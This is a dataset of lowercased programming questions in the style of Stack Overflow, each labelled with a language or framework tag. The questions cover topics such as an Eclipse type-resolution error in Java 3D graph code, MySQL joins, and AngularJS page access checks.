eclipse cannot resolve type but class is on build path  i have done about 4 hours worth of internet hunting and have hit my limit.  hopefully you folks can help.      i have a project that has a package that contains some source code.  i also have my main source folder which contains this package as well.       in the package directory i have source files  not class files  defined.  i used this directory as a source folder  and that works.  one of my source files in my main source folder instantiates an object defined in this source file.  i need to pass this object a reference to the calling object to be able to callback.  so  for example:   <pre><code>package edu.uci.ics.jung.visualization3d;  import java.awt.borderlayout; import java.awt.font; import java.awt.graphicsconfiguration; import java.awt.event.itemevent; import java.awt.event.itemlistener; import java.util.hashmap; import java.util.map;  import javax.media.j3d.ambientlight; import javax.media.j3d.appearance; import javax.media.j3d.boundingsphere; import javax.media.j3d.bounds; import javax.media.j3d.branchgroup; import javax.media.j3d.canvas3d; import javax.media.j3d.directionallight; import javax.media.j3d.font3d; import javax.media.j3d.fontextrusion; import javax.media.j3d.group; import javax.media.j3d.material; import javax.media.j3d.node; import javax.media.j3d.orientedshape3d; import javax.media.j3d.text3d; import javax.media.j3d.transform3d; import javax.media.j3d.transformgroup; import javax.swing.jpanel; import javax.swing.event.changeevent; import javax.swing.event.changelistener; import javax.vecmath.color3f; import javax.vecmath.point3d; import javax.vecmath.point3f; import javax.vecmath.vector3f;  import org.apache.commons.collections15.bidimap; import org.apache.commons.collections15.bidimap.dualhashbidimap;  import com.sun.j3d.utils.behaviors.mouse.mousewheelzoom; import com.sun.j3d.utils.geometry.primitive; import com.sun.j3d.utils.picking.picktool; import com.sun.j3d.utils.picking.behaviors.pickingcallback; import com.sun.j3d.utils.universe.simpleuniverse;  import edu.uci.ics.jung.algorithms.layout.util.visrunner; import edu.uci.ics.jung.algorithms.layout3d.layout; import edu.uci.ics.jung.algorithms.util.iterativecontext; import edu.uci.ics.jung.graph.graph; import edu.uci.ics.jung.graph.util.context; import edu.uci.ics.jung.graph.util.pair; import edu.uci.ics.jung.visualization.picking.multipickedstate; import edu.uci.ics.jung.visualization.picking.pickedstate; import edu.uci.ics.jung.visualization3d.control.mouserotate; import edu.uci.ics.jung.visualization3d.control.mousetranslate; import edu.uci.ics.jung.visualization3d.control.pickspherebehavior; import edu.uci.ics.jung.visualization3d.control.picktranslatebehavior; import edu.uci.ics.jung.visualization3d.layout.layouteventbroadcaster;    public class visualizationviewer&lt;v e&gt; extends jpanel {      branchgroup objroot;     transformgroup objtrans;     graphbuilder to; //  appearance vertexlook; //  appearance edgelook;     appearance graylook;     /**      * a listener used to cause pick events to result in      * repaints  even if they come from another view      */     protected itemlistener pickeventlistener;     /**      * holds the state of which vertices of the graph are      * currently  picked       */     protected pickedstate&lt;v&gt; pickedvertexstate;      /**      * holds the state of which edges of the graph are      * currently  picked       */     protected pickedstate&lt;e&gt; pickededgestate;      protected rendercontext&lt;v e&gt; rendercontext = new pluggablerendercontext&lt;v e&gt;();      bidimap&lt;v vertexgroup&gt; vertexmap = new dualhashbidimap&lt;v vertexgroup&gt;();     map&lt;e edgegroup&gt; edgemap = new hashmap&lt;e edgegroup&gt;();     graph&lt;v e&gt; graph;     layout&lt;v e&gt; layout;      public visualizationviewer() { //      controls = createcontrols();         setlayout(new borderlayout());          rendercontext.setpickedvertexstate(new multipickedstate&lt;v&gt;());         rendercontext.setpickededgestate(new multipickedstate&lt;e&gt;());         graphicsconfiguration config =              simpleuniverse.getpreferredconfiguration();         final canvas3d c = new canvas3d(config);         add(c  borderlayout.center);         setpickedvertexstate(new multipickedstate&lt;v&gt;());         setpickededgestate(new multipickedstate&lt;e&gt;());          // create a springgraph scene and attach it to the virtual universe         branchgroup scene = createscenegraph(c);         simpleuniverse u = new simpleuniverse(c);         u.getviewer().getview().setuserheadtovworldenable(true);              // this will move the viewplatform back a bit so the         // objects in the scene can be viewed.         u.getviewingplatform().setnominalviewingtransform();          c.getview().setbackclipdistance(20.0);         //c.getview().setfrontclipdistance(10.0);         u.addbranchgraph(scene);     }      public layout&lt;v e&gt; getgraphlayout() {         return layout;     }       public branchgroup createscenegraph(final canvas3d canvas) {          objroot = new branchgroup();         objroot.setcapability(group.allow_children_extend);         objroot.setcapability(group.allow_children_write);          transformgroup objscale = new transformgroup();         transform3d t3d = new transform3d(); //      t3d.setscale(0.05);         objscale.settransform(t3d);         objroot.addchild(objscale);          transform3d tt = new transform3d();         tt.setscale(.05);         tt.settranslation(new vector3f(0  0  -30.f));         objtrans = new transformgroup(tt);         objtrans.setcapability(transformgroup.allow_transform_write);         objtrans.setcapability(transformgroup.allow_transform_read );         objtrans.setcapability(transformgroup.allow_children_extend);         objscale.addchild(objtrans); //      objroot.addchild(objtrans);          // create colors  materials   and appearances.         appearance look = new appearance();         color3f objcolor = new color3f(0.7f  0.7f  0.7f);         color3f black = new color3f(0.f  0.f  0.f);         color3f white = new color3f(1.0f  1.0f  0.6f);         color3f gray  = new color3f(.2f  .2f  .2f);         color3f red = new color3f(1.0f  0  0);         color3f yellow = new color3f(1 1 0);          material objmaterial = new material(objcolor  black                  objcolor  white  100.0f);         material blackmaterial = new material(objcolor  black                  black  objcolor  10.0f);         material whitematerial = new material(white  white                  white  white  100.0f);         material graymaterial = new material(gray  black                  gray  gray  100.0f);          material redmaterial = new material(red  black                  red  red  100.0f);             material yellowmaterial = new material(yellow  black                   yellow  yellow  100);          look.setmaterial(new material(objcolor  black                  objcolor  white  100.0f));         appearance blacklook = new appearance();         blacklook.setmaterial(blackmaterial);          appearance whitelook = new appearance();         whitelook.setmaterial(whitematerial);          appearance graylook = new appearance();         graylook.setmaterial(graymaterial);         graylook.setcapability(appearance.allow_material_read);         graylook.setcapability(appearance.allow_material_write);          final appearance redlook = new appearance();         redlook.setmaterial(redmaterial); //      vertexlook = redlook;          appearance objlook = new appearance();         objlook.setmaterial(objmaterial);         graylook = objlook;         final appearance yellowlook = new appearance();         yellowlook.setmaterial(yellowmaterial);         bounds bounds =             new boundingsphere(new point3d()                      300);          mouserotate behavior1 = new mouserotate();         behavior1.settransformgroup(objtrans);         objtrans.addchild(behavior1);         behavior1.setschedulingbounds(bounds);          mousewheelzoom behavior2 = new mousewheelzoom();         behavior2.settransformgroup(objtrans); //      behavior2.setfactor(10);         objtrans.addchild(behavior2);         behavior2.setschedulingbounds(bounds);          mousetranslate behavior3 = new mousetranslate();         behavior3.settransformgroup(objtrans);         objtrans.addchild(behavior3);         behavior3.setschedulingbounds(bounds);          picktranslatebehavior ptb = new picktranslatebehavior(objroot canvas bounds picktool.geometry);         ptb.setschedulingbounds(bounds); //      objtrans.addchild(ptb);         ptb.setupcallback(new pickingcallback() {              public void transformchanged(int type  transformgroup tg) {                 if(tg == null) return;                 transform3d t3d = new transform3d();                 tg.gettransform(t3d); //              system.err.println(tg+  transformchanged \n +t3d);                 point3f p1 = new point3f();                 v v = vertexmap.getkey(tg); //              transform3d lvw = new transform3d(); //              tg.getlocaltovworld(lvw); //              system.err.println( lvw = \n +lvw); //              lvw.invert(); //              system.err.println( invert lvw = \n +lvw);                 point3f p0 = layout.transform(v); //              transform3d vwip = new transform3d(); //              canvas.getvworldtoimageplate(vwip); //              system.err.println( vwip=\n +vwip); //              t3d.mul(lvw);                 t3d.transform(p1); //              scale.transform(p1);                 system.err.println( change location for vertex  +v+   transformgroup  +tg+  from  +p0+  to  +p1); //              p1.set(p1.getx()*2 p1.gety()*2 p1.getz()*2); //              layout.setlocation(v  p1);              }});          pickspherebehavior psb = new pickspherebehavior(objroot canvas bounds);          pickvertexbehavior pvb = new pickvertexbehavior(objroot canvas bounds rendercontext.getpickedvertexstate());         objtrans.addchild(pvb);         pvb.addchangelistener(new changelistener()          {              public void statechanged(changeevent e)              {                 for(v v : graph.getvertices())                  {                     vertexgroup&lt;v&gt; vg = vertexmap.get(v);                     appearance look = redlook;                     if(rendercontext.getpickedvertexstate().ispicked(v))                      {                         look = yellowlook;                     }                     node node = vg.getshape();                      if(node instanceof primitive)                      {                         ((primitive)node).setappearance(look);                     }                 }                  }         });          //shine it with two colored lights.         color3f lcolor1 = new color3f(.5f  .5f  .5f);         color3f lcolor2 = new color3f(1.0f  1.0f  1.0f);         vector3f ldir2  = new vector3f(-1.0f  0.0f  -1.0f);         directionallight lgt2 = new directionallight(lcolor2  ldir2);         ambientlight ambient = new ambientlight(lcolor1);         lgt2.setinfluencingbounds(bounds);         ambient.setinfluencingbounds(bounds);         objroot.addchild(lgt2);         objroot.addchild(ambient);          // let java 3d perform optimizations on this scene graph.         objroot.compile();  //      visrunner runner = new visrunner((iterativecontext)elayout); //      runner.relax();          return objroot;     }      public void setgraphlayout(layout&lt;v e&gt; inlayout) {  //      this.layout = inlayout;         this.graph = inlayout.getgraph();         branchgroup branch = new branchgroup();         layouteventbroadcaster&lt;v e&gt; elayout =             new layouteventbroadcaster&lt;v e&gt;(inlayout);         this.layout = elayout;         for(v v : graph.getvertices()) {             vertexgroup&lt;v&gt; vg = new vertexgroup&lt;v&gt;(v  rendercontext.getvertexshapetransformer().transform(v));             vg.setcapability(transformgroup.allow_transform_write);             vg.setcapability(transformgroup.allow_transform_read);             vertexmap.put(v  vg);             branch.addchild(vg);             string label = rendercontext.getvertexstringer().transform(v);             if(label != null) {                 string fontname =  serif ;                 font3d f3d = new font3d(new font(fontname  font.plain  2)                          new fontextrusion());                 text3d txt = new text3d(f3d  label                           new point3f(2f 2f 0));                 orientedshape3d textshape = new orientedshape3d();                 textshape.setgeometry(txt);                 textshape.setappearance(graylook); //              textshape.setalignmentaxis( 0.0f  1.0f  0.0f);                 textshape.setalignmentmode(orientedshape3d.rotate_about_point);                 textshape.setrotationpoint(new point3f()); //              objscale.addchild( textshape ); //              branchgroup bg = new branchgroup(); //              bg.addchild(textshape); //              branch.addchild(bg);    //              text2d text = new text2d(label+  more text here   new color3f(0 0 0)  serif  50 font.bold);                 transform3d tt = new transform3d(); //              tt.settranslation(new vector3f(100 100 100));                 tt.setscale(5);                 transformgroup tg = new transformgroup(tt); //              textshape.setgeometry(text);                 tg.addchild(textshape);                 branchgroup bg = new branchgroup();                 bg.addchild(tg); //              branch.addchild(bg);                 vg.getlabelnode().addchild(bg);              }          }         for(e edge : graph.getedges()) {             edgegroup&lt;e&gt; eg =                  new edgegroup&lt;e&gt;(edge  rendercontext.getedgeshapetransformer().transform(context.&lt;graph&lt;v e&gt; e&gt;getinstance(graph  edge)));             eg.setcapability(transformgroup.allow_transform_write);             eg.setcapability(transformgroup.allow_transform_read);             edgemap.put(edge  eg);             branch.addchild(eg);         }  //      system.err.println( branch is  +branch); //      for(int i=0; i&lt;branch.numchildren(); i++) { //          system.err.println( branch child [ +i+ ] is  +branch.getchild(i)); //      }          objtrans.addchild(branch);         elayout.addchangelistener(new changelistener() {              public void statechanged(changeevent e) {                 for(v v : vertexmap.keyset()) {                     point3f p = visualizationviewer.this.layout.transform(v);                     vector3f pv = new vector3f(p.getx()  p.gety()  p.getz());                     transform3d tx = new transform3d();                     tx.settranslation(pv);                     vertexmap.get(v).settransform(tx);                 }                  for(e edge : graph.getedges()) {                     pair&lt;v&gt; endpoints = graph.getendpoints(edge);                     v start = endpoints.getfirst();                     v end = endpoints.getsecond();                     edgegroup eg = edgemap.get(edge);                     eg.setendpoints(layout.transform(start)  layout.transform(end));                 }             }});          elayout.setsize(new boundingsphere(new point3d()  200));         elayout.initialize();         visrunner runner = new visrunner((iterativecontext)elayout);         runner.relax();         try         {             thread.sleep(1000);         } catch (interruptedexception e1)         {             // todo auto-generated catch block             e1.printstacktrace();         }         runner.stop();  //      for(int i=0; i&lt;objtrans.numchildren(); i++) { //          system.err.println( objtrans child [ +i+ ] is  +objtrans.getchild(i)); //      }        }      public void setpickedvertexstate(pickedstate&lt;v&gt; pickedvertexstate) {         if(pickeventlistener != null &amp;&amp; this.pickedvertexstate != null) {             this.pickedvertexstate.removeitemlistener(pickeventlistener);         }         this.pickedvertexstate = pickedvertexstate;         this.rendercontext.setpickedvertexstate(pickedvertexstate);         if(pickeventlistener == null) {             pickeventlistener = new itemlistener() {                  public void itemstatechanged(itemevent e) {                     system.err.println(e.getitem()+  was picked );                 }             };         }         pickedvertexstate.additemlistener(pickeventlistener);     }      public void setpickededgestate(pickedstate&lt;e&gt; pickededgestate) {         if(pickeventlistener != null &amp;&amp; this.pickededgestate != null) {             this.pickededgestate.removeitemlistener(pickeventlistener);         }         this.pickededgestate = pickededgestate;         this.rendercontext.setpickededgestate(pickededgestate);         if(pickeventlistener == null) {             pickeventlistener = new itemlistener() {                  public void itemstatechanged(itemevent e) {                     repaint();                 }             };         }         pickededgestate.additemlistener(pickeventlistener);     }      /**      * @return the rendercontext      */     public rendercontext&lt;v  e&gt; getrendercontext() {         return rendercontext;     } } </code></pre>   here is graph builder   <pre><code>import java.awt.borderlayout; import java.awt.dimension; import java.awt.graphicsconfiguration; import java.awt.layoutmanager; import java.util.hashmap; import java.util.map; import java.util.vector;  import javax.media.j3d.boundingsphere; import javax.media.j3d.canvas3d; import javax.swing.jframe; import javax.swing.jpanel; import javax.vecmath.point3d;  import com.sun.j3d.utils.universe.simpleuniverse;  import edu.uci.ics.jung.algorithms.layout3d.frlayout; import edu.uci.ics.jung.algorithms.layout3d.layout; import edu.uci.ics.jung.algorithms.layout3d.springlayout; //import edu.uci.ics.jung.algorithms.layout.layout; import edu.uci.ics.jung.graph.graph; import edu.uci.ics.jung.graph.sparsemultigraph; import edu.uci.ics.jung.visualization.basicvisualizationserver; import edu.uci.ics.jung.visualization.decorators.tostringlabeller; import edu.uci.ics.jung.visualization3d.visualizationviewer;    public class graphbuilder {     graph&lt;graphnode  graphedge&gt; g;     map&lt;string  graphnode&gt; nodelist;     visualizationviewer&lt;graphnode  graphedge&gt; vv;     string root;     private class graphnode     {         string name;         int i;         graphnode(int num)         {             i = num;             name = integer.tostring(num);         }          graphnode(string n)         {         name = n;         }         public string tostring()         {             return name;         }      }      private class graphedge     {         string name;         graphedge()         {          }     }      graphbuilder()     {         accessgtdb demouser = new accessgtdb();         g = new sparsemultigraph&lt;graphnode  graphedge&gt;();         buildgraph(g);         //buildtestgraph(g);      }      public jpanel getpanel()     {         accessgtdb db = opendatabase();         frlayout&lt;graphnode  graphedge&gt; fdl = new frlayout&lt;graphnode  graphedge&gt;(getbranchgraph(root  db));         //layout&lt;graphnode  graphedge&gt; fdl = new springlayout&lt;graphnode  graphedge&gt;(g);         fdl.setsize(new boundingsphere((new point3d())  1000));         vv = new visualizationviewer&lt;graphnode  graphedge&gt;();         vv.getrendercontext().setvertexstringer(new tostringlabeller&lt;graphnode&gt;());         vv.setgraphlayout(fdl);         vv.setpreferredsize(new dimension(400  600));         closedatabase(db);          return vv;     }      public void pickednodecallback()     {      }      private void buildgraph(graph&lt;graphnode  graphedge&gt; gr)     {         int errorno;                            //  error flag          accessgtdb demouser = opendatabase();         string brobj = demouser.getrootobject();        //  returns the name of the root object for currently selected database         root = brobj;   //main root node for this database  need to keep track of it for access         graphnode tmpnode = new graphnode(brobj);          nodelist = new hashmap&lt;string  graphnode&gt;();         nodelist.put(brobj  tmpnode);         gr.addvertex(tmpnode);          gr = buildfullgraph(gr  brobj  demouser);          closedatabase(demouser);      }      /*private graph&lt;graphnode  graphedge&gt; buildtestgraph(graph&lt;graphnode  graphedge&gt; gr)     {         nodelist = new hashmap&lt;string  graphnode&gt;();          for(int i = 0; i &lt; 4; i++)         {             graphnode tmp = new graphnode(i);             gr.addvertex(tmp);             nodelist.put(integer.tostring(i)  tmp);         }          for(int k = 0; k &lt; 3; k++)         {             graphedge tmp = new graphedge();             gr.addedge(tmp  nodelist.get(integer.tostring(k))  nodelist.get(integer.tostring(k+1)));         }         graphedge tmp = new graphedge();         gr.addedge(tmp  nodelist.get(integer.tostring(3))  nodelist.get(integer.tostring(1)));          return gr;     }     */     private graph&lt;graphnode  graphedge&gt; buildfullgraph(graph&lt;graphnode  graphedge&gt; gr  string brobj  accessgtdb demouser)     {          graphnode brnode = nodelist.get(brobj);         string branchlist[];                              //  array to receive the list of all branches         branchlist = demouser.getobjecttree( brobj );     //  get all branches off the selected object         int bl = branchlist.length;                       //  length of the returned array          //if leaf return         if(bl &lt;= 1)         {             return gr;         }          for ( int j=1; j &lt; bl; j++)                       //  loop through all the branches         {             graphnode tmpnode = new graphnode(branchlist[j]);             nodelist.put(branchlist[j]  tmpnode);             gr.addvertex(tmpnode);             graphedge tmpedge = new graphedge();             gr.addedge(tmpedge  brnode  tmpnode);             gr = buildfullgraph(gr  branchlist[j]  demouser);         }          return gr;                                              }      private graph&lt;graphnode  graphedge&gt; getbranchgraph(string brobj  accessgtdb demouser)     {         graph&lt;graphnode  graphedge&gt; todraw = new sparsemultigraph&lt;graphnode  graphedge&gt;();         graphnode brnode = nodelist.get(brobj);         string branchlist[];                              //  array to receive the list of all branches         branchlist = demouser.getobjecttree( brobj );     //  get all branches off the selected object         int bl = branchlist.length;                       //  length of the returned array          for ( int j=1; j &lt; bl; j++)                       //  loop through all the branches         {             graphnode tmpnode = new graphnode(branchlist[j]);             todraw.addvertex(tmpnode);             graphedge tmpedge = new graphedge();             todraw.addedge(tmpedge  brnode  tmpnode);         }          return todraw;                                              }      private accessgtdb opendatabase()     {         int errorno;                            //  error flag          accessgtdb demouser = new accessgtdb();         string dblist[];                            //  array that will contain the list of possible databases (demo only has one)         dblist = demouser.getdatabases();           //  call to retrieve the list of possible databases         int nl = dblist.length;          errorno = demouser.selectdatabase( dblist[0] );     //  select the chosen database         errorno = demouser.serverlogin(  localhost    demouser    ********  );         if ( errorno != 0 )                      //  verify server system was found and login was valid         {             system.out.printf ( \n );             system.out.printf ( server login error number = %d\n  errorno);             system.out.printf ( program terminated.\n );             system.exit( errorno );         }              int tdbsize = -1;         demouser.settempdbsize ( tdbsize );          errorno = demouser.opendatabase(  dbengine    dbuser    ********  );     //  database login; for demo all values are ingored so can be anything          if ( errorno != 0 )                      //  verify database engine was found and login was valid         {             system.out.printf ( \n );             system.out.printf ( database open error number = %d\n  errorno);             system.out.printf ( program terminated.\n );             system.exit( errorno );         }          return demouser;     }      private void closedatabase(accessgtdb demouser)     {         int errorno;         errorno = demouser.closedatabase();                  //  log out of the database          if ( errorno != 0 )                                  //  just make sure everything went ok         {             system.out.printf ( \n );             system.out.printf ( database close error number = %d\n  errorno);             system.out.printf ( program terminated.\n );             system.exit( errorno );         }         // serverlogout         //  while not technically needed  log off the server hosting the database (for localhost  this merely erases login name and password)         errorno = demouser.serverlogout();                    //  log off the database server            if ( errorno != 0 )                                   //  just make sure everything went ok               {               system.out.printf ( \n );               system.out.printf ( server logout error number = %d\n  errorno);               system.out.printf ( program terminated.\n );               system.exit( errorno );           }      } } </code></pre>   when i try to define graphbuilder in visualizationviewer  eclipse tells me graphbuilder cannot be resolved to a type.  yet i can right click it and go to the definition.  am i missing something obvious here   thanks for the help!    addendum  i ve cut out all classified material here  that does not have an effect on the problem.    simply defining graphbuilder as a class variable in visualizationviewer is causing this error on line 69.,java
simplifying a mysql query  pulling table name dynamically from table data  i have a mysql table and one of the fields is  template . this field will point to the correct template table to reference the unique fields for that particular template.     so for example if table.template =  news   i also need to pull the info from the news_template table to have the complete set of listing info. right now i only know how to do this with two separate query calls from php.     is there anyway to do a join with a dynamic table name based on the data in one of the columns      thanks in advance!,mysql
sort an array based on an index array in c  i am trying to sort many arrays in parallel. i sort one array by qsort and i return an int array which specifies the indices of their original positions. now with this int array  i need to sort other arrays.    array 1:   <pre><code> zzz  yyy  def  abc  cde  xxx </code></pre>   after sorting  i get the index array and the sorted array:idx position array   <pre><code>3   :    abc 4   :    cde 2   :    def 5   :    xxx 1   :    yyy 0   :    zzz </code></pre>   now based on this index array  i need to sort another array   <pre><code>a b c d e f </code></pre>   so that it becomes   <pre><code>d e c f b a </code></pre>   thanks a lot,c
best way to make an array of 2 child classes in java  first off i am new to java and am teaching my self.    my file structure is:   <ol> <li>parentclass.java </li> <li>childclass1.java</li> <li>childclass2.java</li> <li>mychildclasses.java </li> </ol>   both childclass1 and 2 extend the parentclass. and mychildclasses has a my main method that works with the child classes    in mychildclasses main looks like this   <pre><code>    childclass1[] myclass1 = new childclass1[5]     childclass2[] myclass2 = new childclass2[5]      for(int i = 0; i &gt; 5; i++)     {         //setting the classid # s         myclass1[i] = new childclass1((100+i))         myclass2[i] = new childclass2((100+i)  (i+1))     } </code></pre>   i am wanting to see if there is a way to make this into 1 array that can have both child classes in it ...    making it much easier to print out on screen.,java
how to validate corrupt image file while uploading using rails  how to validate corrupt image file while uploading using rails   <ul> <li> if the corrupted jpg or png file (or change the extension of any other type of file to jpg)    the system will have to show error during upload </li> </ul>,ruby-on-rails
vertical scroll two tables at the same time  i have two tables that must scroll together:      <pre><code>$( .vscroll ).on( scroll   function (e) {     divtable1.scrolltop = e.scrolltop;     divtable2.scrolltop = e.scrolltop; </code></pre>   there s a little lag issue though.  table1 scrolls milliseconds before table2.       i know scrolltop fires the scroll event  but is there a way to delay the scrolling of table1 until table2 s scrolltop is also set,javascript
how do you create an nsurl from a string containing spaces   the result of this code is that url is null   <pre><code>nsstring* home = [nshomedirectory() stringbyappendingpathcomponent:@ /library/application support/ ]; nsurl *url = [nsurl urlwithstring:home]; </code></pre>   and so is this:   <pre><code>nsstring* home = [nshomedirectory() stringbyappendingpathcomponent:@ /library/application support/ ]; home = [home stringbyreplacingpercentescapesusingencoding:nsutf8stringencoding]; nsurl *url = [nsurl urlwithstring:home]; </code></pre>,ios
is it possible to get installed apps in ios  is it possible to get list of running/installed apps programmatically in ios 11.if any one know the answer  please help me.i searched many sites for answer  most of them shows it is not possible.please help me,ios
changing a link to a redirect page php  how do i change a url in a string example :    this is a link <code>&lt;a href= http://google.com.au &gt;http://google.com.au&lt;/a&gt;</code>    to something like this    this a warning page link <code>&lt;a href= ./warn.php link=http://google.com.au &gt;http://google.com.au&lt;/a&gt;</code>    edit:    what i m trying to do is take a description entered by the end user  they might enter links in the description  i want to change all the links to make them goto a warning page  the warning page is <code>./warn.php site=link</code>    the string might look like this   <pre><code>this is a awesome description &lt;a href= google.com.au &gt;google&lt;/a&gt; and this another link &lt;a href= http://google.com.au/images &gt;google images&lt;/a&gt; </code></pre>   ok here s what i tried:   <pre><code>$descc = mysql_real_escape_string($_post[ description ]);  $descc = preg_replace(  \b(http://\s+)     &lt;a href= ./warn.php site= .base64_encode(. $1 .).  &gt;$1&lt;/a&gt;   $descc); </code></pre>,php
db query: how to count maximum for several columns  assume i have the following table   <pre><code>claim_date   person_type ------------------------ 01-01-2012         adult 05-05-2012         adult 12-12-2012         adult 12-12-2012         adult 05-05-2012         child 05-05-2012         child 12-12-2012         child </code></pre>   when i execute the following query:   <pre><code>select      claim_date       sum(case when person_type =  adult  then 1 else 0 end) as  nbr_of_adults       sum(case when person_type =  child  then 1 else 0 end) as  nbr_of_children    from my_table group by claim_date ; </code></pre>   i get this result here:   <pre><code>claim_date   nbr_of_adults    nbr_of_children --------------------------------------------- 01-01-2012               1                  0 05-05-2012               1                  2 12-12-2012               2                  1 </code></pre>   what i would like to receive is the maximum number of adults (here: 2) and the maximum number of children (here: 2). is there a way to achieve this with a single query  thanks for any hints.,sql
how to generate all possible combos of a matrix - letter soup game  i m working on a little letter soup game and i need help to figure out how to make this.    i want to build a script to print all the possible words a soup could generate. imagine i have the soup   <pre><code>abc def </code></pre>   the game allows the user to navigate to the 8 positions around the letter he is in. if the user where to start on letter  b   he could chose any of the other letters on the matrix.    user can t use a letter on a position he visited already. so  using the example above  i could make the word abf but not the word aba.    i have words that are prefix of other words. for example ab is word and abc is word too.    in the example above  we have a 2x3 matrix but words can have 23 letters length so i need to figure out words of a max 23 letters for big matrix.    i don t even know where to begin from... i have code to see if a generated word is valid or not. i have one that sees if the word is part of a word so i wouldn´t continue to check if it s not... but i can t figure how to build words to 8 different positions around the 1º letter...    can you give me a little help to figure this out,c
how to check page level authentication in angularjs   i have an application in which there are multiple roles and privileges for user. based on whether the currently logged in user i should check whether the user has rights to access the particular page. the hasaccess value will be stored in a boolean and can be accessed like   <pre><code>rootscope.globals.adminyes </code></pre>   if adminyes is true then only the admin page will be shown to the user. i need to check whether the value of <code>adminyes</code> is <code>true</code> and then render the page or else if <code>adminyes</code> is <code>false</code> then the user should not be able to view the page and a popup message should appear saying the user has insufficient privileges.    how can i do it,angularjs
how to use $document in angularjs to add the inline css   i want to add one width property to my text by selecting the class name.   <pre><code>$( input.select2-input ).css( width    330px ); </code></pre>   pure angularjs way to do this. thanks,angularjs
windows service for mass mailing  can windows service be used for fetching data from db and mailing(around 300 mails) giving a 15 minutes time interval with a timer     is windows service a good option to use for this scenario.,.net
fastest way to make a readonly copy of an array of structure   i m currently using something like   <pre><code>c# var myvar = directcast(myarrayofstruct.clone()  mystruc());  vb.net dim myvar = directcast(myarrayofstruct.clone  mystruc()) </code></pre>   is there a better way,.net
how can i get two auto-increments in one database table   i want the post_delete column to generate unique id s so that when i want to delete a comment for e.g. i can refer to the post_delete s value.    <strong>here is my users table</strong>   <pre><code>create table users (   user_id     int(8) not null auto_increment    user_name   varchar(30) not null    user_pass   varchar(255) not null    user_email  varchar(255) not null    user_date   datetime not null    user_level  int(8) not null    pic_location  varchar(255) not null  post_delete  int(8) not null auto_increment   unique index user_name_unique (user_name)    primary key (user_id)   ); </code></pre>   <strong>and here is my posts table</strong>   <pre><code>create table posts (   post_id         int(8) not null auto_increment    post_content        text not null    post_date       datetime not null    post_topic      int(8) not null  post_by     int(8) not null    primary key (post_id)   ); </code></pre>   <strong>and here is my delete query in php</strong>   <pre><code>$sql =  delete from posts where post_by =  . $_session[ post_delete ]; </code></pre>   it says when i include the table that there can only be one auto-increment. how can i change this so that the post_delete can generate unique id s     thanks!,sql
what is the difference between ng-show and ng-hide in angularjs   as i know ng-show and ng-hide both are used to show or hide the given html element. but i was asked a question in an interview  that why do we need ng-hide if we have ng-show. what is the reason that we should favor ng-show over ng-hide or vice versa     i know the difference between ng-if vs ng-show/ng-hide but i want to know the difference between ng-show and ng-hide as the functionality of these two are same.,angularjs
convert byte[] to aes key  i have a aeskey which encrypted by a public key  and later decrypted by a private key   <pre><code>    cipher cipher = cipher.getinstance( rsa );     privatekey privatekey = keypair.getprivate();     // decrypt the ciphertext using the private key      cipher.init(cipher.decrypt_mode  privatekey);      byte[] decryptedtext = cipher.dofinal(thebytes);  </code></pre>   thebytes is a byte[] containing a encrypted aeskey  the question is how to convert the decryptedtext back to the aeskey,java
adding variables and static values to jquery css  i have some code that looks like this:   <pre><code>$( #discription ).css({ left    500px + $(current).width(); }); </code></pre>   <code>$(current)</code> is an image that is always changing. when it has a width of 50px for example  i would like  left  to have the value of 550px.    thanks,jquery
search form for paper_trail history using ransack gem  i m struggling to get a search form for my active record history. i m using the paper_trail gem as well as ransack. both  alone  are working well. but whenever i try to implement a search form i get a strange error:   <blockquote>    undefined method `paper_trail_versions_path  for #&lt;#:0x007fede31da910>  </blockquote>   this line from my views gets highlighted:   <blockquote>    <code>&lt;%= search_form_for @q  html: {class:  input-group } do |f| %&gt;</code>  </blockquote>   here s the code of the controller:   <pre><code>def history  @all_versions = papertrail::version.order( created_at desc )  @versions = @all_versions.paginate(:page =&gt; params[:page]  :per_page =&gt; 100)  @q = @versions.search(params[:q])  @versions = @q.result  respond_to do |format|     format.html   end end </code></pre>   the views:   <pre><code>&lt;%= search_form_for @q  html: {class:  input-group } do |f| %&gt;   &lt;%= f.search_field :whodunnit_or_item_id_cont  placeholder:  search for users or actions..   class:  form-control  %&gt;   &lt;span class= input-group-btn &gt;     &lt;%= button_tag(type:  submit   class:  btn btn-default ) do %&gt;     &lt;i class= fa fa-search &gt;&lt;/i&gt;     &lt;% end %&gt;   &lt;/span&gt; &lt;% end %&gt; </code></pre>   any ideas     thanks in advance!    <strong>edit resolved  thanks to answer:</strong>    <code>&lt;%= search_form_for @q  html: {class:  input-group }  :url =&gt;  /dashboards/history/  do |f| %&gt;</code>,ruby-on-rails
php get protection  do i really need it   i have a php page.  it recieves a value for <code>id</code> via get.  2 simple questions:    1 - in my code this is used only once.  in an if statement like:   <pre><code>if ($_get[ id ]==1){ things here.... } </code></pre>   that is the only use of this passed id value.  do i need to sanitize it or can i just leave it safely in the if statement without checking it   can hackers penetrate through this     2 - would i need to sanitize it if i had assigned it to a variable like:   <pre><code>$idid=$_get[ id ]; if ($idid==1){ things here... } </code></pre>   like before this is the only use of this variable  it will not be used in echo or mysql etc.,php
incrementing a pointer inside a fixed block prohibited  it seems it should work  i get an error trying to increment the pointer.    cannot assign to ptr because it is a fixed variable cs1656  also same error for the other pointer ptruc   <pre><code>unsafe void organize_data() {     fixed(byte* ptr =  &amp;database[0])     {         fixed(byte* ptruc =  &amp;dtbaseuc[0])         {             strcnt=1;             linestrts[0]=0;             for(int i=0;i&lt;filelen;i++)             {                 if(*ptr &gt; 96 &amp;&amp; *ptr &lt; 123)*ptruc=(byte)((int)*ptr-(int)32);                     if(*ptr ==13)                     {                         linestrts[strcnt]=i+1;                         strcnt++;                     }                 ptr++;                 ptruc++;             }         }     }     textbox2.text=strcnt.tostring(); } </code></pre>,c#
merge many bytes arrays into one byte array in objective c  i have used <code>nsmutabledata</code> to merge byte arrays   <pre><code>    nsmutabledata *payload;     payload = [[nsmutabledata alloc] init];  [payload appendbytes:cfbridgingretain((cm.msgbytes)) length:[cm.msgbytes length]];  nsstring *cmdata = [[nsstring alloc] initwithdata:[payload mutablebytes] encoding:nsutf8stringencoding]; </code></pre>   i want to keep on adding to <code>payload</code> until done    cmdata is always nil    as <code>initwithdata</code> takes <code>nsdata</code> so i converted the bytes to <code>nsdata</code> but the result is still same    <pre><code> nsdata *bytesdata = [nsdata datawithbytes:[payload mutablebytes] length:[payload length]];   nsstring *cmdata = [[nsstring alloc] initwithdata:bytesdata encoding:nsutf8stringencoding]; </code></pre>,objective-c
